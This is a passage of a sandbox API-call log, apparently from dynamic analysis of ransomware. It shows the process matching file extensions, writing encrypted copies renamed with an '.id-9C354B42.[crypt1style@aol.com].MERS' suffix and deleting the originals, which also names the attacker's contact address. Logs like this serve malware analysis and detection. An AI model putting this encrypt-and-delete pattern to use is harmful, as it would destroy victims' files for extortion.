(lpString1=".ppt", lpString2=".PNG") returned 1 [0048.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.554] lstrlenW (lpString=".zip") returned 4 [0048.554] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.554] lstrlenW (lpString=".rar") returned 4 [0048.554] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.554] lstrlenW (lpString=".bz2") returned 4 [0048.554] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.554] lstrlenW (lpString=".7z") returned 3 [0048.554] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.554] lstrlenW (lpString=".dbf") returned 4 [0048.554] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.554] lstrlenW (lpString=".1cd") returned 4 [0048.554] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.555] lstrlenW (lpString=".jpg") returned 4 [0048.555] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.555] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0048.555] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.555] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2552) returned 1 [0048.555] CloseHandle (hObject=0x17c) returned 1 [0048.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0048.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.555] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.556] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.557] GetLastError () returned 0x0 [0048.557] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x9f8, lpOverlapped=0x0) returned 1 [0048.614] WriteFile (in: hFile=0x210, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0048.615] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.615] WriteFile (in: hFile=0x210, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.615] SetEndOfFile (hFile=0x210) returned 1 [0048.615] CloseHandle (hObject=0x210) returned 1 [0048.615] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.615] SetEndOfFile (hFile=0x17c) returned 1 [0048.616] CloseHandle (hObject=0x17c) returned 1 [0048.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.616] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0048.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.616] lstrlenW (lpString=".doc") returned 4 [0048.616] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.616] lstrlenW (lpString=".docx") returned 5 [0048.616] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.616] lstrlenW (lpString=".pdf") returned 4 [0048.616] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.616] lstrlenW (lpString=".xls") returned 4 [0048.616] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.616] lstrlenW (lpString=".xlsx") returned 5 [0048.616] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.617] lstrlenW (lpString=".ppt") returned 4 [0048.617] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.617] lstrlenW (lpString=".zip") returned 4 [0048.617] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.617] lstrlenW (lpString=".rar") returned 4 [0048.617] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.617] lstrlenW (lpString=".bz2") returned 4 [0048.617] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.617] lstrlenW (lpString=".7z") returned 3 [0048.617] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.617] lstrlenW (lpString=".dbf") returned 4 [0048.617] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.617] lstrlenW (lpString=".1cd") returned 4 [0048.617] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.617] lstrlenW (lpString=".jpg") returned 4 [0048.617] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.617] lstrlenW (lpString=".doc") returned 4 [0048.617] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.617] lstrlenW (lpString=".docx") returned 5 [0048.617] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.617] lstrlenW (lpString=".pdf") returned 4 [0048.618] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.618] lstrlenW (lpString=".xls") returned 4 [0048.618] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.618] lstrlenW (lpString=".xlsx") returned 5 [0048.618] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.618] lstrlenW (lpString=".ppt") returned 4 [0048.618] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.618] lstrlenW (lpString=".zip") returned 4 [0048.618] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.618] lstrlenW (lpString=".rar") returned 4 [0048.618] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.618] lstrlenW (lpString=".bz2") returned 4 [0048.618] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.618] lstrlenW (lpString=".7z") returned 3 [0048.618] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.618] lstrlenW (lpString=".dbf") returned 4 [0048.618] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.618] lstrlenW (lpString=".1cd") returned 4 [0048.618] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.618] lstrlenW (lpString=".jpg") returned 4 [0048.618] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.618] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0048.618] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.619] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=18817) returned 1 [0048.619] CloseHandle (hObject=0x17c) returned 1 [0048.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0048.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.619] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.619] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.619] GetLastError () returned 0x0 [0048.619] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x4981, lpOverlapped=0x0) returned 1 [0048.759] WriteFile (in: hFile=0x210, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x4990, lpOverlapped=0x0) returned 1 [0048.760] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.760] WriteFile (in: hFile=0x210, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.760] SetEndOfFile (hFile=0x210) returned 1 [0048.760] CloseHandle (hObject=0x210) returned 1 [0048.760] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.760] SetEndOfFile (hFile=0x17c) returned 1 [0048.761] CloseHandle (hObject=0x17c) returned 1 [0048.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.761] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0048.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.762] lstrlenW (lpString=".doc") returned 4 [0048.762] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.762] lstrlenW (lpString=".docx") returned 5 [0048.762] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.762] lstrlenW (lpString=".pdf") returned 4 [0048.762] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.762] lstrlenW (lpString=".xls") returned 4 [0048.762] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.762] lstrlenW (lpString=".xlsx") returned 5 [0048.762] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.762] lstrlenW (lpString=".ppt") returned 4 [0048.762] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.762] lstrlenW (lpString=".zip") returned 4 [0048.762] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.762] lstrlenW (lpString=".rar") returned 4 [0048.762] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.762] lstrlenW (lpString=".bz2") returned 4 [0048.762] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.762] lstrlenW (lpString=".7z") returned 3 [0048.762] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.762] lstrlenW (lpString=".dbf") returned 4 [0048.762] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.762] lstrlenW (lpString=".1cd") returned 4 [0048.763] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.763] lstrlenW (lpString=".jpg") returned 4 [0048.763] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.763] lstrlenW (lpString=".doc") returned 4 [0048.763] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.763] lstrlenW (lpString=".docx") returned 5 [0048.763] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.763] lstrlenW (lpString=".pdf") returned 4 [0048.763] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.763] lstrlenW (lpString=".xls") returned 4 [0048.763] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.763] lstrlenW (lpString=".xlsx") returned 5 [0048.763] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.763] lstrlenW (lpString=".ppt") returned 4 [0048.763] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.763] lstrlenW (lpString=".zip") returned 4 [0048.763] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.763] lstrlenW (lpString=".rar") returned 4 [0048.763] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.763] lstrlenW (lpString=".bz2") returned 4 [0048.763] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.763] lstrlenW (lpString=".7z") returned 3 [0048.763] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.763] lstrlenW (lpString=".dbf") returned 4 [0048.763] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.763] lstrlenW (lpString=".1cd") returned 4 [0048.763] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.763] lstrlenW (lpString=".jpg") returned 4 [0048.763] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.764] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0048.764] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.764] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=18413) returned 1 [0048.764] CloseHandle (hObject=0x17c) returned 1 [0048.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0048.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.764] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.764] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.765] GetLastError () returned 0x0 [0048.765] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x47ed, lpOverlapped=0x0) returned 1 [0048.889] WriteFile (in: hFile=0x210, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x47f0, lpOverlapped=0x0) returned 1 [0048.890] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.890] WriteFile (in: hFile=0x210, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.890] SetEndOfFile (hFile=0x210) returned 1 [0048.890] CloseHandle (hObject=0x210) returned 1 [0048.890] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.891] SetEndOfFile (hFile=0x17c) returned 1 [0048.891] CloseHandle (hObject=0x17c) returned 1 [0048.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.892] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0048.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.892] lstrlenW (lpString=".doc") returned 4 [0048.892] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.892] lstrlenW (lpString=".docx") returned 5 [0048.892] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.892] lstrlenW (lpString=".pdf") returned 4 [0048.892] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.892] lstrlenW (lpString=".xls") returned 4 [0048.892] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.892] lstrlenW (lpString=".xlsx") returned 5 [0048.892] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.892] lstrlenW (lpString=".ppt") returned 4 [0048.892] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.892] lstrlenW (lpString=".zip") returned 4 [0048.892] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.892] lstrlenW (lpString=".rar") returned 4 [0048.892] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.892] lstrlenW (lpString=".bz2") returned 4 [0048.892] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.892] lstrlenW (lpString=".7z") returned 3 [0048.892] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.892] lstrlenW (lpString=".dbf") returned 4 [0048.892] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.892] lstrlenW (lpString=".1cd") returned 4 [0048.892] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.893] lstrlenW (lpString=".jpg") returned 4 [0048.893] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.893] lstrlenW (lpString=".doc") returned 4 [0048.893] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.893] lstrlenW (lpString=".docx") returned 5 [0048.893] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.893] lstrlenW (lpString=".pdf") returned 4 [0048.893] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.893] lstrlenW (lpString=".xls") returned 4 [0048.893] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.893] lstrlenW (lpString=".xlsx") returned 5 [0048.893] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.893] lstrlenW (lpString=".ppt") returned 4 [0048.893] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.893] lstrlenW (lpString="C:\\Program 